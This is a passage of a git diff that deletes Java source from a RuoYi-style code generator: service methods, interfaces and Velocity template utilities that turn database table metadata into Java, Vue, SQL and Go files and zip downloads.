- * @return 结果 - */ - @Override - @Transactional - public void updateGenTable(GenTable genTable) { - String options = JSON.toJSONString(genTable.getParams()); - genTable.setOptions(options); - int row = genTableMapper.updateGenTable(genTable); - if (row > 0) { - for (GenTableColumn cenTableColumn : genTable.getColumns()) { - genTableColumnMapper.updateGenTableColumn(cenTableColumn); - } - } - } - - /** - * 删除业务对象 - * - * @param tableIds 需要删除的数据ID - * @return 结果 - */ - @Override - @Transactional - public void deleteGenTableByIds(Long[] tableIds) { - genTableMapper.deleteGenTableByIds(tableIds); - genTableColumnMapper.deleteGenTableColumnByIds(tableIds); - } - - /** - * 导入表结构 - * - * @param tableList 导入表列表 - */ - @Override - @Transactional - public void importGenTable(List tableList) { - String operName = SecurityUtils.getUsername(); - try { - for (GenTable table : tableList) { - String tableName = table.getTableName(); - GenUtils.initTable(table, operName); - int row = genTableMapper.insertGenTable(table); - if (row > 0) { - // 保存列信息 - List genTableColumns = genTableColumnMapper.selectDbTableColumnsByName(tableName); - for (GenTableColumn column : genTableColumns) { - GenUtils.initColumnField(column, table); - genTableColumnMapper.insertGenTableColumn(column); - } - } - } - } catch (Exception e) { - throw new CustomException("导入失败:" + e.getMessage()); - } - } - - /** - * 预览代码 - * - * @param tableId 表编号 - * @return 预览数据列表 - */ - @Override - public Map previewCode(Long tableId) { - Map dataMap = new LinkedHashMap<>(); - // 查询表信息 - GenTable table = genTableMapper.selectGenTableById(tableId); - // 设置主子表信息 - setSubTable(table); - // 设置主键列信息 - setPkColumn(table); - dealColumnGlTable(table); - - List columnTemplates = Arrays.asList("vm/vue/selectvue.vm","vm/vue/userSelectvue.vm"); - for(GenTableColumn column:table.getColumns()){ - VelocityInitializer.initVelocity(); - VelocityContext context = VelocityUtils.prepareContext(column); - if(!column.getTable()){ - continue; - } - for (String template : columnTemplates){ - // 渲染模板 - StringWriter sw = new StringWriter(); - Template tpl = Velocity.getTemplate(template, Constants.UTF8); - tpl.merge(context, sw); - dataMap.put(template, sw.toString()); - } - } - - VelocityInitializer.initVelocity(); - - VelocityContext context = VelocityUtils.prepareContext(table); - - // 获取模板列表 - List templates = VelocityUtils.getTemplateList(table.getTplCategory()); - for (String template : templates) { - // 渲染模板 - StringWriter sw = new StringWriter(); - Template tpl = Velocity.getTemplate(template, Constants.UTF8); - tpl.merge(context, sw); - dataMap.put(template, sw.toString()); - } - return dataMap; - } - - /** - * 生成代码(下载方式) - * - * @param tableName 表名称 - * @return 数据 - */ - @Override - public byte[] downloadCode(String tableName) { - ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); - ZipOutputStream zip = new ZipOutputStream(outputStream); - generatorCode(tableName, zip); - IOUtils.closeQuietly(zip); - return outputStream.toByteArray(); - } - - /** - * 生成代码(自定义路径) - * - * @param tableName 表名称 - */ - @Override - public void generatorCode(String tableName) { - // 查询表信息 - GenTable table = genTableMapper.selectGenTableByName(tableName); - // 设置主子表信息 - setSubTable(table); - // 设置主键列信息 - setPkColumn(table); - dealColumnGlTable(table); - - List columnTemplates = Arrays.asList("vm/vue/selectvue.vm","vm/vue/userSelectvue.vm"); - for(GenTableColumn column:table.getColumns()){ - VelocityInitializer.initVelocity(); - VelocityContext context = VelocityUtils.prepareContext(column); - if(!column.getTable()){ - continue; - } - for (String template : columnTemplates){ - // 渲染模板 - StringWriter sw = new StringWriter(); - Template tpl = Velocity.getTemplate(template, Constants.UTF8); - tpl.merge(context, sw); - try { - // 添加到zip - String path = getGenPath(table, template); - FileUtils.writeStringToFile(new File(path), sw.toString(), CharsetKit.UTF_8); - } catch (IOException e) { - log.error("渲染模板失败,表名:" + table.getTableName(), e); - } - } - } - - VelocityInitializer.initVelocity(); - - VelocityContext context = VelocityUtils.prepareContext(table); - - // 获取模板列表 - List templates = VelocityUtils.getTemplateList(table.getTplCategory()); - for (String template : templates) { - if (!StringUtils.containsAny(template, "sql.vm", "api.js.vm", "index.vue.vm", "index-tree.vue.vm")) { - // 渲染模板 - StringWriter sw = new StringWriter(); - Template tpl = Velocity.getTemplate(template, Constants.UTF8); - tpl.merge(context, sw); - try { - String path = getGenPath(table, template); - FileUtils.writeStringToFile(new File(path), sw.toString(), CharsetKit.UTF_8); - } catch (IOException e) { - throw new CustomException("渲染模板失败,表名:" + table.getTableName()); - } - } - } - } - - /** - * 同步数据库 - * - * @param tableName 表名称 - */ - @Override - @Transactional - public void synchDb(String tableName) { - GenTable table = genTableMapper.selectGenTableByName(tableName); - List tableColumns = table.getColumns(); - List tableColumnNames = tableColumns.stream().map(GenTableColumn::getColumnName).collect(Collectors.toList()); - - List dbTableColumns = genTableColumnMapper.selectDbTableColumnsByName(tableName); - if (StringUtils.isEmpty(dbTableColumns)) { - throw new CustomException("同步数据失败,原表结构不存在"); - } - List dbTableColumnNames = dbTableColumns.stream().map(GenTableColumn::getColumnName).collect(Collectors.toList()); - - dbTableColumns.forEach(column -> { - if (!tableColumnNames.contains(column.getColumnName())) { - GenUtils.initColumnField(column, table); - genTableColumnMapper.insertGenTableColumn(column); - } - }); - - List delColumns = tableColumns.stream().filter(column -> !dbTableColumnNames.contains(column.getColumnName())).collect(Collectors.toList()); - if (StringUtils.isNotEmpty(delColumns)) { - genTableColumnMapper.deleteGenTableColumns(delColumns); - } - } - - /** - * 批量生成代码(下载方式) - * - * @param tableNames 表数组 - * @return 数据 - */ - @Override - public byte[] downloadCode(String[] tableNames) { - ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); - ZipOutputStream zip = new ZipOutputStream(outputStream); - for (String tableName : tableNames) { - generatorCode(tableName, zip); - } - IOUtils.closeQuietly(zip); - return outputStream.toByteArray(); - } - - public void dealColumnGlTable(GenTable table) { - List columns = table.getColumns(); - Integer columnTableGl = 0; - GenTableColumn last = null; - for (GenTableColumn column : columns) { - column.setModuleName(table.getModuleName()); - column.setTableLast(0); - column.setTable(false); - if (StringUtils.isNotEmpty(column.getDictType()) - && column.getDictType().startsWith("table_")) { - column.setTable(true); - column.setTableName(column.getDictType().replace("table_", "")); - column.setBusinessName(GenUtils.getBusinessName(column.getTableName())); - column.setClassName(GenUtils.convertClassName(column.getTableName())); - columnTableGl = 1; - last = column; - } - } - table.setColumnTableGl(columnTableGl); - if(null != last){ - last.setTableLast(1); - } - } - - /** - * 查询表信息并生成代码 - */ - private void generatorCode(String tableName, ZipOutputStream zip) { - // 查询表信息 - GenTable table = genTableMapper.selectGenTableByName(tableName); - // 设置主子表信息 - setSubTable(table); - // 设置主键列信息 - setPkColumn(table); - - dealColumnGlTable(table); - - List columnTemplates = Arrays.asList("vm/vue/selectvue.vm","vm/vue/userSelectvue.vm"); - for(GenTableColumn column:table.getColumns()){ - VelocityInitializer.initVelocity(); - VelocityContext context = VelocityUtils.prepareContext(column); - if(!column.getTable()){ - continue; - } - for (String template : columnTemplates){ - // 渲染模板 - StringWriter sw = new StringWriter(); - Template tpl = Velocity.getTemplate(template, Constants.UTF8); - tpl.merge(context, sw); - try { - // 添加到zip - zip.putNextEntry(new ZipEntry(VelocityUtils.getFileName(template, table,column.getCapBusinessName()))); - IOUtils.write(sw.toString(), zip, Constants.UTF8); - IOUtils.closeQuietly(sw); - zip.flush(); - zip.closeEntry(); - } catch (IOException e) { - log.error("渲染模板失败,表名:" + table.getTableName(), e); - } - } - } - - VelocityInitializer.initVelocity(); - - VelocityContext context = VelocityUtils.prepareContext(table); - - // 获取模板列表 - List templates = VelocityUtils.getTemplateList(table.getTplCategory()); - for (String template : templates) { - // 渲染模板 - StringWriter sw = new StringWriter(); - Template tpl = Velocity.getTemplate(template, Constants.UTF8); - tpl.merge(context, sw); - try { - // 添加到zip - zip.putNextEntry(new ZipEntry(VelocityUtils.getFileName(template, table,""))); - IOUtils.write(sw.toString(), zip, Constants.UTF8); - IOUtils.closeQuietly(sw); - zip.flush(); - zip.closeEntry(); - } catch (IOException e) { - log.error("渲染模板失败,表名:" + table.getTableName(), e); - } - } - } - - /** - * 修改保存参数校验 - * - * @param genTable 业务信息 - */ - @Override - public void validateEdit(GenTable genTable) { - if (GenConstants.TPL_TREE.equals(genTable.getTplCategory())) { - String options = JSON.toJSONString(genTable.getParams()); - JSONObject paramsObj = JSONObject.parseObject(options); - if (StringUtils.isEmpty(paramsObj.getString(GenConstants.TREE_CODE))) { - throw new CustomException("树编码字段不能为空"); - } else if (StringUtils.isEmpty(paramsObj.getString(GenConstants.TREE_PARENT_CODE))) { - throw new CustomException("树父编码字段不能为空"); - } else if (StringUtils.isEmpty(paramsObj.getString(GenConstants.TREE_NAME))) { - throw new CustomException("树名称字段不能为空"); - } else if (GenConstants.TPL_SUB.equals(genTable.getTplCategory())) { - if (StringUtils.isEmpty(genTable.getSubTableName())) { - throw new CustomException("关联子表的表名不能为空"); - } else if (StringUtils.isEmpty(genTable.getSubTableFkName())) { - throw new CustomException("子表关联的外键名不能为空"); - } - } - } - } - - /** - * 设置主键列信息 - * - * @param table 业务表信息 - */ - public void setPkColumn(GenTable table) { - for (GenTableColumn column : table.getColumns()) { - if (column.isPk()) { - table.setPkColumn(column); - break; - } - } - if (StringUtils.isNull(table.getPkColumn())) { - table.setPkColumn(table.getColumns().get(0)); - } - if (GenConstants.TPL_SUB.equals(table.getTplCategory())) { - for (GenTableColumn column : table.getSubTable().getColumns()) { - if (column.isPk()) { - table.getSubTable().setPkColumn(column); - break; - } - } - if (StringUtils.isNull(table.getSubTable().getPkColumn())) { - table.getSubTable().setPkColumn(table.getSubTable().getColumns().get(0)); - } - } - } - - /** - * 设置主子表信息 - * - * @param table 业务表信息 - */ - public void setSubTable(GenTable table) { - String subTableName = table.getSubTableName(); - if (StringUtils.isNotEmpty(subTableName)) { - table.setSubTable(genTableMapper.selectGenTableByName(subTableName)); - } - } - - /** - * 设置代码生成其他选项值 - * - * @param genTable 设置后的生成对象 - */ - public void setTableFromOptions(GenTable genTable) { - JSONObject paramsObj = JSONObject.parseObject(genTable.getOptions()); - if (StringUtils.isNotNull(paramsObj)) { - String treeCode = paramsObj.getString(GenConstants.TREE_CODE); - String treeParentCode = paramsObj.getString(GenConstants.TREE_PARENT_CODE); - String treeName = paramsObj.getString(GenConstants.TREE_NAME); - String parentMenuId = paramsObj.getString(GenConstants.PARENT_MENU_ID); - String parentMenuName = paramsObj.getString(GenConstants.PARENT_MENU_NAME); - - genTable.setTreeCode(treeCode); - genTable.setTreeParentCode(treeParentCode); - genTable.setTreeName(treeName); - genTable.setParentMenuId(parentMenuId); - genTable.setParentMenuName(parentMenuName); - } - } - - /** - * 获取代码生成地址 - * - * @param table 业务表信息 - * @param template 模板文件路径 - * @return 生成地址 - */ - public static String getGenPath(GenTable table, String template) { - String genPath = table.getGenPath(); - if (StringUtils.equals(genPath, "/")) { - return System.getProperty("user.dir") + File.separator + "src" + File.separator + VelocityUtils.getFileName(template, table,""); - } - return genPath + File.separator + VelocityUtils.getFileName(template, table,""); - } -} \ No newline at end of file diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/service/IGenTableColumnService.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/service/IGenTableColumnService.java deleted file mode 100644 index 3037f70..0000000 --- a/ruoyi-generator/src/main/java/com/ruoyi/generator/service/IGenTableColumnService.java +++ /dev/null @@ -1,44 +0,0 @@ -package com.ruoyi.generator.service; - -import java.util.List; -import com.ruoyi.generator.domain.GenTableColumn; - -/** - * 业务字段 服务层 - * - * @author ruoyi - */ -public interface IGenTableColumnService -{ - /** - * 查询业务字段列表 - * - * @param tableId 业务字段编号 - * @return 业务字段集合 - */ - public List selectGenTableColumnListByTableId(Long tableId); - - /** - * 新增业务字段 - * - * @param genTableColumn 业务字段信息 - * @return 结果 - */ - public int insertGenTableColumn(GenTableColumn genTableColumn); - - /** - * 修改业务字段 - * - * @param genTableColumn 业务字段信息 - * @return 结果 - */ - public int updateGenTableColumn(GenTableColumn genTableColumn); - - /** - * 删除业务字段信息 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteGenTableColumnByIds(String ids); -} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/service/IGenTableService.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/service/IGenTableService.java deleted file mode 100644 index 9d53f95..0000000 --- a/ruoyi-generator/src/main/java/com/ruoyi/generator/service/IGenTableService.java +++ /dev/null @@ -1,121 +0,0 @@ -package com.ruoyi.generator.service; - -import java.util.List; -import java.util.Map; -import com.ruoyi.generator.domain.GenTable; - -/** - * 业务 服务层 - * - * @author ruoyi - */ -public interface IGenTableService -{ - /** - * 查询业务列表 - * - * @param genTable 业务信息 - * @return 业务集合 - */ - public List selectGenTableList(GenTable genTable); - - /** - * 查询据库列表 - * - * @param genTable 业务信息 - * @return 数据库表集合 - */ - public List selectDbTableList(GenTable genTable); - - /** - * 查询据库列表 - * - * @param tableNames 表名称组 - * @return 数据库表集合 - */ - public List selectDbTableListByNames(String[] tableNames); - - /** - * 查询所有表信息 - * - * @return 表信息集合 - */ - public List selectGenTableAll(); - - /** - * 查询业务信息 - * - * @param id 业务ID - * @return 业务信息 - */ - public GenTable selectGenTableById(Long id); - - /** - * 修改业务 - * - * @param genTable 业务信息 - * @return 结果 - */ - public void updateGenTable(GenTable genTable); - - /** - * 删除业务信息 - * - * @param tableIds 需要删除的表数据ID - * @return 结果 - */ - public void deleteGenTableByIds(Long[] tableIds); - - /** - * 导入表结构 - * - * @param tableList 导入表列表 - */ - public void importGenTable(List tableList); - - /** - * 预览代码 - * - * @param tableId 表编号 - * @return 预览数据列表 - */ - public Map previewCode(Long tableId); - - /** - * 生成代码(下载方式) - * - * @param tableName 表名称 - * @return 数据 - */ - public byte[] downloadCode(String tableName); - - /** - * 生成代码(自定义路径) - * - * @param tableName 表名称 - * @return 数据 - */ - public void generatorCode(String tableName); - - /** - * 同步数据库 - * - * @param tableName 表名称 - */ - public void synchDb(String tableName); - - /** - * 批量生成代码(下载方式) - * - * @param tableNames 表数组 - * @return 数据 - */ - public byte[] downloadCode(String[] tableNames); - - /** - * 修改保存参数校验 - * - * @param genTable 业务信息 - */ - public void validateEdit(GenTable genTable); -} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/util/GenUtils.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/util/GenUtils.java deleted file mode 100644 index 5cc6b4d..0000000 --- a/ruoyi-generator/src/main/java/com/ruoyi/generator/util/GenUtils.java +++ /dev/null @@ -1,236 +0,0 @@ -package com.ruoyi.generator.util; - -import com.ruoyi.common.constant.GenConstants; -import com.ruoyi.common.utils.StringUtils; -import com.ruoyi.generator.config.GenConfig; -import com.ruoyi.generator.domain.GenTable; -import com.ruoyi.generator.domain.GenTableColumn; -import org.apache.commons.lang3.RegExUtils; - -import java.util.Arrays; - -/** - * 代码生成器 工具类 - * - * @author ruoyi - */ -public class GenUtils { - /** - * 初始化表信息 - */ - public static void initTable(GenTable genTable, String operName) { - genTable.setClassName(convertClassName(genTable.getTableName())); - genTable.setPackageName(GenConfig.getPackageName()); - genTable.setModuleName(getModuleName(GenConfig.getPackageName())); - genTable.setBusinessName(getBusinessName(genTable.getTableName())); - genTable.setFunctionName(replaceText(genTable.getTableComment())); - genTable.setFunctionAuthor(GenConfig.getAuthor()); - genTable.setCreateBy(operName); - } - - /** - * 初始化列属性字段 - */ - public static void initColumnField(GenTableColumn column, GenTable table) { - String dataType = getDbType(column.getColumnType()); - String columnName = column.getColumnName(); - column.setTableId(table.getTableId()); - column.setCreateBy(table.getCreateBy()); - // 设置java字段名 - column.setJavaField(StringUtils.toCamelCase(columnName)); - // 设置默认类型 - column.setJavaType(GenConstants.TYPE_STRING); - - if (arraysContains(GenConstants.COLUMNTYPE_STR, dataType) || arraysContains(GenConstants.COLUMNTYPE_TEXT, dataType)) { - // 字符串长度超过500设置为文本域 - Integer columnLength = getColumnLength(column.getColumnType()); - String htmlType = columnLength >= 500 || arraysContains(GenConstants.COLUMNTYPE_TEXT, dataType) ? GenConstants.HTML_TEXTAREA : GenConstants.HTML_INPUT; - column.setHtmlType(htmlType); - } else if (arraysContains(GenConstants.COLUMNTYPE_TIME, dataType)) { - column.setJavaType(GenConstants.TYPE_DATE); - column.setHtmlType(GenConstants.HTML_DATETIME); - } else if (arraysContains(GenConstants.COLUMNTYPE_NUMBER, dataType)) { - column.setHtmlType(GenConstants.HTML_INPUT); - - // 如果是浮点型 统一用BigDecimal - String[] str = StringUtils.split(StringUtils.substringBetween(column.getColumnType(), "(", ")"), ","); - if (str != null && str.length == 2 && Integer.parseInt(str[1]) > 0) { - column.setJavaType(GenConstants.TYPE_BIGDECIMAL); - } - // 如果是整形 - else if (str != null && str.length == 1 && Integer.parseInt(str[0]) <= 10) { - column.setJavaType(GenConstants.TYPE_INTEGER); - } - // 长整形 - else { - column.setJavaType(GenConstants.TYPE_LONG); - } - } - - // 插入字段(默认所有字段都需要插入) - column.setIsInsert(GenConstants.REQUIRE); - - // 编辑字段 - if (!arraysContains(GenConstants.COLUMNNAME_NOT_EDIT, columnName) && !column.isPk()) { - column.setIsEdit(GenConstants.REQUIRE); - } - // 列表字段 - if (!arraysContains(GenConstants.COLUMNNAME_NOT_LIST, columnName) && !column.isPk()) { - column.setIsList(GenConstants.REQUIRE); - } - // 查询字段 - if (!arraysContains(GenConstants.COLUMNNAME_NOT_QUERY, columnName) && !column.isPk()) { - column.setIsQuery(GenConstants.REQUIRE); - } - - // 查询字段类型 - if (StringUtils.endsWithIgnoreCase(columnName, "name")) { - column.setQueryType(GenConstants.QUERY_LIKE); - } - // 状态字段设置单选框 - if (StringUtils.endsWithIgnoreCase(columnName, "status")) { - column.setHtmlType(GenConstants.HTML_RADIO); - } - // 类型&性别字段设置下拉框 - else if (StringUtils.endsWithIgnoreCase(columnName, "type") - || StringUtils.endsWithIgnoreCase(columnName, "sex")) { - column.setHtmlType(GenConstants.HTML_SELECT); - } - // 图片字段设置图片上传控件 - else if (StringUtils.endsWithIgnoreCase(columnName, "image")) { - column.setHtmlType(GenConstants.HTML_IMAGE_UPLOAD); - } - // 文件字段设置文件上传控件 - else if (StringUtils.endsWithIgnoreCase(columnName, "file")) { - column.setHtmlType(GenConstants.HTML_FILE_UPLOAD); - } - // 内容字段设置富文本控件 - else if (StringUtils.endsWithIgnoreCase(columnName, "content")) { - column.setHtmlType(GenConstants.HTML_EDITOR); - } - if (column.getJavaType().equalsIgnoreCase(GenConstants.TYPE_INTEGER)) { - column.setGoType("int"); - } else if (column.getJavaType().equalsIgnoreCase(GenConstants.TYPE_BIGDECIMAL)) { - column.setGoType("float64"); - } else if (column.getColumnType().equalsIgnoreCase("timestamp")) { - column.setGoType("carbon.Time"); - } else if (column.getColumnType().equalsIgnoreCase("long")) { - column.setGoType("int64"); - } else if (column.getColumnType().equalsIgnoreCase("bigint")) { - column.setGoType("uint64"); - }else { - column.setGoType(column.getJavaType().toLowerCase()); - } - - } - - /** - * 校验数组是否包含指定值 - * - * @param arr 数组 - * @param targetValue 值 - * @return 是否包含 - */ - public static boolean arraysContains(String[] arr, String targetValue) { - return Arrays.asList(arr).contains(targetValue); - } - - /** - * 获取模块名 - * - * @param packageName 包名 - * @return 模块名 - */ - public static String getModuleName(String packageName) { - int lastIndex = packageName.lastIndexOf("."); - int nameLength = packageName.length(); - String moduleName = StringUtils.substring(packageName, lastIndex + 1, nameLength); - return moduleName; - } - - /** - * 获取业务名 - * - * @param tableName 表名 - * @return 业务名 - */ - public static String getBusinessName(String tableName) { - int lastIndex = tableName.lastIndexOf("_"); - int nameLength = tableName.length(); - String businessName = StringUtils.substring(tableName, lastIndex + 1, nameLength); - return businessName; - } - - /** - * 表名转换成Java类名 - * - * @param tableName 表名称 - * @return 类名 - */ - public static String convertClassName(String tableName) { - boolean autoRemovePre = GenConfig.getAutoRemovePre(); - String tablePrefix = GenConfig.getTablePrefix(); - if (autoRemovePre && StringUtils.isNotEmpty(tablePrefix)) { - String[] searchList = StringUtils.split(tablePrefix, ","); - tableName = replaceFirst(tableName, searchList); - } - return StringUtils.convertToCamelCase(tableName); - } - - /** - * 批量替换前缀 - * - * @param replacementm 替换值 - * @param searchList 替换列表 - * @return - */ - public static String replaceFirst(String replacementm, String[] searchList) { - String text = replacementm; - for (String searchString : searchList) { - if (replacementm.startsWith(searchString)) { - text = replacementm.replaceFirst(searchString, ""); - break; - } - } - return text; - } - - /** - * 关键字替换 - * - * @param text 需要被替换的名字 - * @return 替换后的名字 - */ - public static String replaceText(String text) { - return RegExUtils.replaceAll(text, "(?:表|susdt)", ""); - } - - /** - * 获取数据库类型字段 - * - * @param columnType 列类型 - * @return 截取后的列类型 - */ - public static String getDbType(String columnType) { - if (StringUtils.indexOf(columnType, "(") > 0) { - return StringUtils.substringBefore(columnType, "("); - } else { - return columnType; - } - } - - /** - * 获取字段长度 - * - * @param columnType 列类型 - * @return 截取后的列类型 - */ - public static Integer getColumnLength(String columnType) { - if (StringUtils.indexOf(columnType, "(") > 0) { - String length = StringUtils.substringBetween(columnType, "(", ")"); - return Integer.valueOf(length); - } else { - return 0; - } - } -} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/util/VelocityInitializer.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/util/VelocityInitializer.java deleted file mode 100644 index 3b7b3a1..0000000 --- a/ruoyi-generator/src/main/java/com/ruoyi/generator/util/VelocityInitializer.java +++ /dev/null @@ -1,35 +0,0 @@ -package com.ruoyi.generator.util; - -import java.util.Properties; -import org.apache.velocity.app.Velocity; -import com.ruoyi.common.constant.Constants; - -/** - * VelocityEngine工厂 - * - * @author ruoyi - */ -public class VelocityInitializer -{ - /** - * 初始化vm方法 - */ - public static void initVelocity() - { - Properties p = new Properties(); - try - { - // 加载classpath目录下的vm文件 - p.setProperty("file.resource.loader.class", "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader"); - // 定义字符集 - p.setProperty(Velocity.ENCODING_DEFAULT, Constants.UTF8); - p.setProperty(Velocity.OUTPUT_ENCODING, Constants.UTF8); - // 初始化Velocity引擎,指定配置Properties - Velocity.init(p); - } - catch (Exception e) - { - throw new RuntimeException(e); - } - } -} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/util/VelocityUtils.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/util/VelocityUtils.java deleted file mode 100644 index c046147..0000000 --- a/ruoyi-generator/src/main/java/com/ruoyi/generator/util/VelocityUtils.java +++ /dev/null @@ -1,419 +0,0 @@ -package com.ruoyi.generator.util; - -import java.util.ArrayList; -import java.util.HashSet; -import java.util.List; -import org.apache.velocity.VelocityContext; -import com.alibaba.fastjson.JSONObject; -import com.ruoyi.common.constant.GenConstants; -import com.ruoyi.common.utils.DateUtils; -import com.ruoyi.common.utils.StringUtils; -import com.ruoyi.generator.domain.GenTable; -import com.ruoyi.generator.domain.GenTableColumn; - -/** - * 模板处理工具类 - * - * @author ruoyi - */ -public class VelocityUtils -{ - /** 项目空间路径 */ - private static final String PROJECT_PATH = "main/java"; - - /** mybatis空间路径 */ - private static final String MYBATIS_PATH = "main/resources/mapper"; - - /** 默认上级菜单,系统工具 */ - private static final String DEFAULT_PARENT_MENU_ID = "3"; - - /** - * 设置模板变量信息 - * - * @return 模板列表 - */ - public static VelocityContext prepareContext(GenTable genTable) - { - String moduleName = genTable.getModuleName(); - String businessName = genTable.getBusinessName(); - String packageName = genTable.getPackageName(); - String tplCategory = genTable.getTplCategory(); - String functionName = genTable.getFunctionName(); - - VelocityContext velocityContext = new VelocityContext(); - velocityContext.put("tplCategory", genTable.getTplCategory()); - velocityContext.put("tableName", genTable.getTableName()); - velocityContext.put("functionName", StringUtils.isNotEmpty(functionName) ? functionName : "【请填写功能名称】"); - velocityContext.put("ClassName", genTable.getClassName()); - velocityContext.put("className", StringUtils.uncapitalize(genTable.getClassName())); - velocityContext.put("moduleName", genTable.getModuleName()); - velocityContext.put("capClassName", genTable.getCapClassName()); - velocityContext.put("BusinessName", StringUtils.capitalize(genTable.getBusinessName())); - velocityContext.put("businessName", genTable.getBusinessName()); - velocityContext.put("basePackage", getPackagePrefix(packageName)); - velocityContext.put("packageName", packageName); - velocityContext.put("author", genTable.getFunctionAuthor()); - velocityContext.put("datetime", DateUtils.getDate()); - velocityContext.put("pkColumn", genTable.getPkColumn()); - velocityContext.put("importList", getImportList(genTable)); - velocityContext.put("permissionPrefix", getPermissionPrefix(moduleName, businessName)); - velocityContext.put("columns", genTable.getColumns()); - velocityContext.put("table", genTable); - setMenuVelocityContext(velocityContext, genTable); - if (GenConstants.TPL_TREE.equals(tplCategory)) - { - setTreeVelocityContext(velocityContext, genTable); - } - if (GenConstants.TPL_SUB.equals(tplCategory)) - { - setSubVelocityContext(velocityContext, genTable); - } - return velocityContext; - } - public static VelocityContext prepareContext(GenTableColumn column) - { - String moduleName = column.getModuleName(); - String businessName = column.getBusinessName(); - - VelocityContext velocityContext = new VelocityContext(); - velocityContext.put("tableName", column.getTableName()); - velocityContext.put("ClassName", column.getClassName()); - velocityContext.put("capClassName", column.getCapClassName()); - velocityContext.put("capBusinessName", column.getCapBusinessName()); - velocityContext.put("className", StringUtils.uncapitalize(column.getClassName())); - velocityContext.put("moduleName", column.getModuleName()); - velocityContext.put("BusinessName", StringUtils.capitalize(column.getBusinessName())); - velocityContext.put("businessName", column.getBusinessName()); - velocityContext.put("datetime", DateUtils.getDate()); - velocityContext.put("permissionPrefix", getPermissionPrefix(moduleName, businessName)); - velocityContext.put("column", column); - return velocityContext; - } - public static void setMenuVelocityContext(VelocityContext context, GenTable genTable) - { - String options = genTable.getOptions(); - JSONObject paramsObj = JSONObject.parseObject(options); - String parentMenuId = getParentMenuId(paramsObj); - context.put("parentMenuId", parentMenuId); - } - - public static void setTreeVelocityContext(VelocityContext context, GenTable genTable) - { - String options = genTable.getOptions(); - JSONObject paramsObj = JSONObject.parseObject(options); - String treeCode = getTreecode(paramsObj); - String treeParentCode = getTreeParentCode(paramsObj); - String treeName = getTreeName(paramsObj); - - context.put("treeCode", treeCode); - context.put("treeParentCode", treeParentCode); - context.put("treeName", treeName); - context.put("expandColumn", getExpandColumn(genTable)); - if (paramsObj.containsKey(GenConstants.TREE_PARENT_CODE)) - { - context.put("tree_parent_code", paramsObj.getString(GenConstants.TREE_PARENT_CODE)); - } - if (paramsObj.containsKey(GenConstants.TREE_NAME)) - { - context.put("tree_name", paramsObj.getString(GenConstants.TREE_NAME)); - } - } - - public static void setSubVelocityContext(VelocityContext context, GenTable genTable) - { - GenTable subTable = genTable.getSubTable(); - String subTableName = genTable.getSubTableName(); - String subTableFkName = genTable.getSubTableFkName(); - String subClassName = genTable.getSubTable().getClassName(); - String subTableFkClassName = StringUtils.convertToCamelCase(subTableFkName); - - context.put("subTable", subTable); - context.put("subTableName", subTableName); - context.put("subTableFkName", subTableFkName); - context.put("subTableFkClassName", subTableFkClassName); - context.put("subTableFkclassName", StringUtils.uncapitalize(subTableFkClassName)); - context.put("subClassName", subClassName); - context.put("subclassName", StringUtils.uncapitalize(subClassName)); - context.put("subImportList", getImportList(genTable.getSubTable())); - } - - /** - * 获取模板信息 - * - * @return 模板列表 - */ - public static List getTemplateList(String tplCategory) - { - List templates = new ArrayList(); - templates.add("vm/java/domain.java.vm"); - templates.add("vm/java/domainPlus.java.vm"); - templates.add("vm/java/mapper.java.vm"); - templates.add("vm/java/service.java.vm"); - templates.add("vm/java/serviceImpl.java.vm"); - templates.add("vm/java/controller.java.vm"); - templates.add("vm/java/userService.java.vm"); - templates.add("vm/java/userServiceImpl.java.vm"); - templates.add("vm/java/userController.java.vm"); - templates.add("vm/xml/mapper.xml.vm"); - templates.add("vm/sql/sql.vm"); - templates.add("vm/js/api.js.vm"); - if (GenConstants.TPL_CRUD.equals(tplCategory)) - { - templates.add("vm/vue/index.vue.vm"); - templates.add("vm/vue/userIndex.vue.vm"); - } - else if (GenConstants.TPL_TREE.equals(tplCategory)) - { - templates.add("vm/vue/index-tree.vue.vm"); - } - else if (GenConstants.TPL_SUB.equals(tplCategory)) - { - templates.add("vm/vue/index.vue.vm"); - templates.add("vm/vue/userIndex.vue.vm"); - templates.add("vm/java/sub-domain.java.vm"); - } - templates.add("vm/go/model.vm"); - return templates; - } - - /** - * 获取文件名 - */ - public static String getFileName(String template, GenTable genTable,String selectName) - { - // 文件名称 - String fileName = ""; - // 包路径 - String packageName = genTable.getPackageName(); - // 模块名 - String moduleName = genTable.getModuleName(); - // 大写类名 - String className = genTable.getClassName(); - // 业务名称 - String businessName = genTable.getBusinessName(); - - String javaPath = PROJECT_PATH + "/" + StringUtils.replace(packageName, ".", "/"); - String mybatisPath = MYBATIS_PATH + "/" + moduleName; - String vuePath = "vue"; - - if (template.contains("domain.java.vm")) - { - fileName = StringUtils.format("{}/domain/{}.java", javaPath, className); - } - if (template.contains("domainPlus.java.vm")) - { - fileName = StringUtils.format("{}/domain/{}Plus.java", javaPath, className); - } - if (template.contains("sub-domain.java.vm") && StringUtils.equals(GenConstants.TPL_SUB, genTable.getTplCategory())) - { - fileName = StringUtils.format("{}/domain/{}.java", javaPath, genTable.getSubTable().getClassName()); - } - else if (template.contains("mapper.java.vm")) - { - fileName = StringUtils.format("{}/mapper/{}Mapper.java", javaPath, className); - } - else if (template.contains("service.java.vm")) - { - fileName = StringUtils.format("{}/service/I{}Service.java", javaPath, className); - } - else if (template.contains("userService.java.vm")) - { - fileName = StringUtils.format("{}/service/user/I{}Service.java", javaPath, className); - } - else if (template.contains("serviceImpl.java.vm")) - { - fileName = StringUtils.format("{}/service/impl/{}ServiceImpl.java", javaPath, className); - } - else if (template.contains("userServiceImpl.java.vm")) - { - fileName = StringUtils.format("{}/service/impl/user/{}ServiceImpl.java", javaPath, className); - } - else if (template.contains("controller.java.vm")) - { - fileName = 